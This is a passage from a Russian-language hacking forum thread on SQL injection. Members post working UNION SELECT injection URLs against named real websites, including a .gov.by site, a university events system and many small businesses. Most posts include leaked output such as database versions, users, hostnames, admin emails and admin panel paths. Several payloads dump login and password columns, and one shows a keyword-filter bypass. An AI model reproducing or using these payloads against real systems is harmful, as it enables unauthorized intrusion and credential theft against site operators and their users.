SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 735 of 798
  1. m0m

    m0m Banned

    Joined:
    4 Mar 2012
    Messages:
    85
    Likes Received:
    20
    Reputations:
    0
    Code:
    http://www.coshuk.com/html/images.php?id=-38 UNION SELECT 1,user(),3,4,5,6,7,8,9,10,11,12,13--
    Code:
    http://www.yusk.ru/cat.php?id=-10 UNION SELECT 1,2,3,4,user(),6,7--
    Code:
    http://incognita-terra.ru/cat.php?id=-17 UNION SELECT 1,group_concat(id,0x3a,user,0x3a,pass),3,4,5,6,7,8,9 from userlist--
    Code:
    http://nobeliat.ru/laureat.php?id=-626 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,GROUP_CONCAT(user,0x3a,pass),17,18,19,20,21,22,23,24 FROM userlist--
     
    #14681 m0m, 16 Mar 2012
    Last edited: 16 Mar 2012
  2. m0m

    m0m Banned

    Joined:
    4 Mar 2012
    Messages:
    85
    Likes Received:
    20
    Reputations:
    0
    Code:
    http://blogbasket.ru/cat.php?id=-3 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database()--
    Code:
    http://www.2mpz.ru/cat.php?id=-62 union select 1,2,3,group_concat(users_name,0x3a,users_password),5,6,7 from sys_umusers--
     
    #14682 m0m, 16 Mar 2012
    Last edited: 16 Mar 2012
    1 person likes this.
  3. p0wER

    p0wER Member

    Joined:
    2 Jun 2010
    Messages:
    30
    Likes Received:
    26
    Reputations:
    1
    Сайт со стихами, топ 1 в гугле по запросу "Стихи Пушкина".

    ТИЦ: 40
    PR: 3

    Code:
    http://versos.ru/verso.html?id=-1+UNION+SELECT+1,group_concat(id,0x3b,login,0x3b,password,0x3b,salt)29,3,4,5+from+users
     
    #14683 p0wER, 16 Mar 2012
    Last edited by a moderator: 16 Mar 2012
    1 person likes this.
  4. [stranger]

    [stranger] Member

    Joined:
    2 Feb 2010
    Messages:
    167
    Likes Received:
    29
    Reputations:
    4
    Code:
    http://www.asianewsnet.net/home/news.php?id=27530+limit+0+union+select+1,2,3,4,5,6,7,8,9,(select+concat_ws(0x3a,version(),database(),user())),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+--+
    5.0.22
    ann_news
    ann8002@localhost
     
    #14684 [stranger], 17 Mar 2012
  5. pr3v3d

    pr3v3d New Member

    Joined:
    27 Jul 2010
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    Code:
    http://atlant.by/index.php?r='442&p='21&la='r&item='256
    Web Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
    тиц: 600
     
    #14685 pr3v3d, 18 Mar 2012
  6. m0m

    m0m Banned

    Joined:
    4 Mar 2012
    Messages:
    85
    Likes Received:
    20
    Reputations:
    0
    .gov домен

    Code:
    http://infores.mpt.gov.by/ir/database/view_ir.php?id=6279+union+select+1,2,3,version%28%  29,5,6,7,8,9,10,1,12,13,14,15,16,17,18,19,20,21,22  ,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,3  9,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,  56,57,58,59,60,61,62,63,64,65+--+


    Спасибо shadowrun
     
    #14686 m0m, 18 Mar 2012
    Last edited: 18 Mar 2012
    1 person likes this.
  7. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Code:
    http://infores.mpt.gov.by/ir/database/view_ir.php?id=6279+union+select+1,2,3,version%28%29,5,6,7,8,9,10,1,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65+--+
    4.1.25
     
    #14687 shadowrun, 18 Mar 2012
  8. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Санкт-Петербург. Бизнес-портал.
    Code:
    http://www.bpspb.info/vacancy.php?id=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,2,3,group_concat(table_name,0x0a),5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=0x62707370625f74657374--+[/COLOR][/B]
    version: 5.0.92-log
    database: bpspb_test
    user: [email protected]

    hostname: db37.valuehost.ru
    dir: /storage/db/mysql/
     
    #14688 mix0x0, 18 Mar 2012
  9. gars0n

    gars0n Elder - Старейшина

    Joined:
    9 Dec 2009
    Messages:
    483
    Likes Received:
    104
    Reputations:
    65
    pr6 ; ТИЦ 50
    Code:
    http://welcomenepal.com/promotional/directory.php?cid=-729658731675+union+select+1,0x6861636b6564206279207375727072697a+--+
    [email protected]:5.0.67-log:C252296_ntb

    pr5 ; ТИЦ 30
    Code:
    http://www.elephant.se/location2.php?location_id=-238'+union+select+concat_ws(0x3a,user(),version(),database()),2,3,0x6861636b6564206279207375727072697a,5,6,7,8,9,10+--+
    [email protected]:5.0.51a-24+lenny5-log:elephant_se

    pr6 ; ТИЦ 40
    Code:
    http://www.myrepublica.com/portal/printable_news.php?news_id=-31945+union+select+1,0x6861636b6564206279207375727072697a,concat_ws(0x3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16+--+
    myrepub_myrepub@localhost:5.1.61:myrepub_database
     
    #14689 gars0n, 19 Mar 2012
    1 person likes this.
  10. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Code:
    http://www.appletonestate.mobi/recipe.php?id=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,2,3,concat_ws(char(32),version(),database(),user()),5,6,7,8,9--+[/COLOR][/B]
    version: 5.0.51a-3ubuntu5.4
    database: appleton
    user: appleton@localhost

    Code:
    http://mybread.mobi/glossary.php?Id=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3--+[/COLOR][/B]
    version: 5.1.49-3-log
    database: mybreaddatab
    user: [email protected]

    Code:
    http://www.damico.co.za/staff_profile.asp?STAFF_ID=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5--+[/COLOR][/B]
    version: 4.1.19-community
    database: damicodb
    user: [email protected] 3
    PR: 3/10

    Code:
    http://www.associatesanimalhospital.com/Staff_Detail.php?staff_id=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,9,10,11,12,13,14--+[/COLOR][/B]
    version: 5.0.91-log
    database: associates
    user: [email protected]
    RP: 2/10


    Code:
    www.zhak-s.com.ua/index.php?id=1[B][COLOR=Red]+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8--+[/COLOR][/B]
    version: 5.0.82-log
    database: zhak
    user: dejavu@localhost
    PR: 1/10


    Code:
    http://www.egc.hu/index.php?menu_id=3[B][COLOR=Red]+and+1=0+union+select+1,2,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,4--+[/COLOR][/B]
    version: 5.1.49-3
    database: egc_public
    user: root@localhost
     
    #14690 mix0x0, 20 Mar 2012
    Last edited: 20 Mar 2012
    1 person likes this.
  11. StaD

    StaD New Member

    Joined:
    18 Mar 2012
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Code:
    http://www.no-colours-records.de/sites/show_rel.php?id=-1+union+select+1,2,column_name,4,5+from+INFORMATION_SCHEMA.COLUMNS+limit+0,1--
    Выводится только одна запись, отчёта об ошибках нет
     
    #14691 StaD, 20 Mar 2012
    1 person likes this.
  12. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    Code:
    www.ginnystineinteriors.com/designers_detail.php?staff_id=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9--+[/COLOR][/B]
    version: 5.0.91-log
    database: fishleg_ginnys
    user: [email protected]
    Code:
    www.wardblakearchitects.com/staff_content.php?staff_id=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--+[/COLOR][/B]
    version: 5.0.95-community
    database: architectural_wb
    user: architectural_us@localhost
    PR: 3/10
    admin pages: manager, cpanel
    Code:
    www.jewishchronicle.org/contact/contact.php?staff_id=[B][COLOR=Red]-[/COLOR][/B]1[B][COLOR=Red]+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+[/COLOR][/B]
    version: 5.0.77-log
    database: 577301_jewishchron
    user: [email protected]
    PR: 4/10
     
    #14692 mix0x0, 20 Mar 2012
    1 person likes this.
  13. Megwarez

    Megwarez Member

    Joined:
    7 May 2010
    Messages:
    33
    Likes Received:
    12
    Reputations:
    4
    вкспорт

    Code:
    http://www.vksport.ru/catalog_s1.php?id=-1%27+union+select+1,2,3,4,group_concat%280x0b,column_name%29,6+from+information_schema.columns+where+table_name={не смог подобрать}+--+
    ТИЦ:10
    PR:1
     
    #14693 Megwarez, 20 Mar 2012
    1 person likes this.
  14. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    ТИЦ = 20
    PR = 4

    PHP:
    http://www.jic.org/index.php?page=9999999'+union+select+1,File_priv,2+from+mysql.user--+
     
    #14694 Га-Ноцри, 21 Mar 2012
    1 person likes this.
  15. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    pr2
    Code:
    http://www.instintocigano.com.br/artigos-de-baralho-cigano.php?id=-117+uNion+SELselectECT+1,2,3,0x6861636B6564206279207375727072697A2E,concat_ws(0x3a,user(),version(),%20%20database()),6,7,8,9+--+
    обход preg_replace
     
    #14695 smirk, 22 Mar 2012
    Last edited: 22 Mar 2012
    3 people like this.
  16. Megwarez

    Megwarez Member

    Joined:
    7 May 2010
    Messages:
    33
    Likes Received:
    12
    Reputations:
    4
    Code:
    http://www.nunhems.com.ua/kultury.php?id=-1+union+select+1,2,3,4,5,6,7,8,group_concat%280x0b,table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+--+

    ТИЦ: 30
    PR: 4

    Все норм выводится, но в админку не зайти, видимо фильтр по ip.
     
    #14696 Megwarez, 22 Mar 2012
  17. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    PR = 5

    PHP:
    http://www.bedandbreakfastdc.com/index.php?id=-1+union+select+concat_ws(0x03a,user(),database(),version())--
     
    #14697 Га-Ноцри, 22 Mar 2012
  18. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    The University of Alabama
    тИЦ 275 PR 7 Alexa Rank 25,466
    Вывод в теге <title>
    Code:
    http://events.ua.edu/events/index.php?cat=9999999999+union+select+@@version--
    Version - 5.0.27
    User [email protected]
    Database - ua_calendar

    Code:
    http://events.ua.edu/events/index.php?cat=9999999999+union+select+group_concat%28Email%29+from+hc_admin--
    PHP:
    mmuro@ur.ua.edu
    rflorenc    @as.ua.edu
    lmsandy    @ur.ua.edu
    arainey    @ur.ua.edu
    etc    ...
    Есть столбец Passwrd ;)

    Админка - _http://events.ua.edu/admin/
     
    #14698 aydin-ka, 23 Mar 2012
    3 people like this.
  19. gars0n

    gars0n Elder - Старейшина

    Joined:
    9 Dec 2009
    Messages:
    483
    Likes Received:
    104
    Reputations:
    65
    PR - 2
    PHP:
    http://www.kaizen-co.ru/gallery.php?id=9875465+union+select+1,char(104,97,99,107,101,100,32,98,121,32,100,117,109,98,97),concat_ws(0x3b,user(),version(),database()),4,5--
    [email protected];4.0.27-log;kaizen
     
    #14699 gars0n, 25 Mar 2012
    2 people like this.
  20. tght

    tght Member

    Joined:
    24 Jun 2010
    Messages:
    134
    Likes Received:
    10
    Reputations:
    0
    PR - 4

    Version: 5.0.92-community
    User: cwrowley_clancy@localhost
    DB: cwrowley_main


    тИЦ - 40, PR - 2

    Version: 5.1.56-log
    User: forceavt_mila2@localhost
    DB: forceavt_force
     
    #14700 tght, 25 Mar 2012
    Last edited: 25 Mar 2012
    1 person likes this.
(You must log in or sign up to post here.)
Page 735 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.